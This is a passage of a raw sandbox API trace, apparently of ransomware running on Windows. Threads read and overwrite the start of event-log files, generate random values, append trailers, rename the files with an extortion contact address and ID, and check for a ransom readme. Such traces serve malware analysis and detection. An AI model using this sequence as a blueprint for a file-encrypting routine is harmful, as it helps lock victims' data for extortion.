RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.377] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.377] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.377] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xacef6e0, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xacef6e0*=0x4096, lpOverlapped=0x0) returned 1 [0167.378] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.378] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.379] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.379] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.379] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96570 [0167.379] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96570) returned 1 [0167.379] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.379] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.379] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xacef6e0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xacef6e0*=0x4096, lpOverlapped=0x0) returned 1 [0167.379] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.379] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.379] WriteFile (in: hFile=0x528, lpBuffer=0x2f96408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xacef718, lpOverlapped=0x0 | out: lpBuffer=0x2f96408*, lpNumberOfBytesWritten=0xacef718*=0x20, lpOverlapped=0x0) returned 1 [0167.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xacef72c*=0x8, lpOverlapped=0x0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0xacef744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0xacef744*, lpNumberOfBytesWritten=0xacef72c*=0x4, lpOverlapped=0x0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xacef72c*=0x4, lpOverlapped=0x0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xacef72c*=0x6c, lpOverlapped=0x0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0x2f963e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0x2f963e0*, lpNumberOfBytesWritten=0xacef72c*=0x20, lpOverlapped=0x0) returned 1 [0167.380] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xacef72c*=0x4, lpOverlapped=0x0) returned 1 [0167.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.380] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.381] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.381] CloseHandle (hObject=0x528) returned 1 [0167.381] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f84e18 [0167.381] wcscpy (in: _Dest=0x2f84e18, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.381] wcscat (in: _Dest=0x2f84e18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.381] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.399] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84e18) returned 1 [0167.400] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.400] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3a08 [0167.400] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.400] wcscat (in: _Dest=0x2fe3a08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.400] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0167.400] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98658) returned 1 [0167.400] RtlExitUserThread (Status=0x1) Thread: id = 1659 os_tid = 0xd44 [0167.404] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.404] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.404] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.405] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xad6f798 | out: lpFileSize=0xad6f798*=69824) returned 1 [0167.405] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.405] ReadFile (in: hFile=0x528, lpBuffer=0xad6f76c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0xad6f76c*, lpNumberOfBytesRead=0xad6f768*=0x4, lpOverlapped=0x0) returned 1 [0167.406] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.406] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962f0 [0167.406] NtQuerySystemTime (in: CurrentTime=0xad6f744 | out: CurrentTime=0xad6f744*=132121213247198281) returned 0x0 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x226804bc [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xd402088b [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x880fb91c [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x2d41a907 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xa5752f7e [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x280eb76f [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xf7fa4d64 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x9beb07ce [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x19219322 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xe8268a17 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xe4d5dc5e [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x872d1ab5 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x145809af [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xc1d0f5db [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xbc6e9952 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x104af220 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xe85af678 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x8dee84c8 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x3b20864d [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xc087e3ab [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xc7f67a2e [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x83dfc414 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x68c792dc [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x1815adbf [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xe07208 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x480dd29e [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x82f0baf3 [0167.406] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x8c1b0619 [0167.407] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0xee93250a [0167.407] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x7b90050e [0167.407] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x540ee7d2 [0167.407] RtlRandom (in: Seed=0xad6f750 | out: Seed=0xad6f750) returned 0x8100e7e2 [0167.415] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.417] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.417] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.417] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.418] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xad6f71c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xad6f71c*=0x4096, lpOverlapped=0x0) returned 1 [0167.418] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96610 [0167.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96610) returned 1 [0167.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.419] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xad6f71c, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xad6f71c*=0x4096, lpOverlapped=0x0) returned 1 [0167.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.420] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f96408*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xad6f754, lpOverlapped=0x0 | out: lpBuffer=0x2f96408*, lpNumberOfBytesWritten=0xad6f754*=0x20, lpOverlapped=0x0) returned 1 [0167.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xad6f768*=0x8, lpOverlapped=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0xad6f780*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0xad6f780*, lpNumberOfBytesWritten=0xad6f768*=0x4, lpOverlapped=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xad6f768*=0x4, lpOverlapped=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xad6f768*=0x6c, lpOverlapped=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f963e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f963e0*, lpNumberOfBytesWritten=0xad6f768*=0x20, lpOverlapped=0x0) returned 1 [0167.420] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xad6f768, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xad6f768*=0x4, lpOverlapped=0x0) returned 1 [0167.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.421] CloseHandle (hObject=0x528) returned 1 [0167.421] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85218 [0167.421] wcscpy (in: _Dest=0x2f85218, _Source="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0167.421] wcscat (in: _Dest=0x2f85218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.421] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.422] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85218) returned 1 [0167.422] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.422] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3b88 [0167.422] wcscpy (in: _Dest=0x2fe3b88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.422] wcscat (in: _Dest=0x2fe3b88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.422] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3b88) returned 1 [0167.422] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98ad8) returned 1 [0167.422] RtlExitUserThread (Status=0x1) Thread: id = 1660 os_tid = 0xd5c [0167.423] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.423] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.423] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.424] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xadefef4 | out: lpFileSize=0xadefef4*=69824) returned 1 [0167.424] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.424] ReadFile (in: hFile=0x528, lpBuffer=0xadefec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xadefec4, lpOverlapped=0x0 | out: lpBuffer=0xadefec8*, lpNumberOfBytesRead=0xadefec4*=0x4, lpOverlapped=0x0) returned 1 [0167.425] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.425] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96570 [0167.425] NtQuerySystemTime (in: CurrentTime=0xadefea0 | out: CurrentTime=0xadefea0*=132121213247354600) returned 0x0 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x619ecdec [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xa16b8778 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x357707f7 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x440fcdc5 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x87066136 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xd847b214 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x376e7ec7 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xf7af460c [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xe63c3640 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x3f1c7fff [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xf0b2f4c0 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x1508927d [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x31cd6b5 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x619a8898 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x3022783a [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x69469d10 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xb313248f [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x58c9713d [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x69724696 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x510427a6 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xda258f8e [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xaf7d6087 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xc810508d [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x88eca4de [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xb62ebe15 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x68f1bcb2 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x8e6a4012 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x6bfceda3 [0167.425] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x66b98bde [0167.426] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x1bb4ca12 [0167.426] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0x80033357 [0167.426] RtlRandom (in: Seed=0xadefeac | out: Seed=0xadefeac) returned 0xae962bb7 [0167.442] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.455] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.455] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.455] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xadefe78, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xadefe78*=0x4096, lpOverlapped=0x0) returned 1 [0167.457] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0167.457] 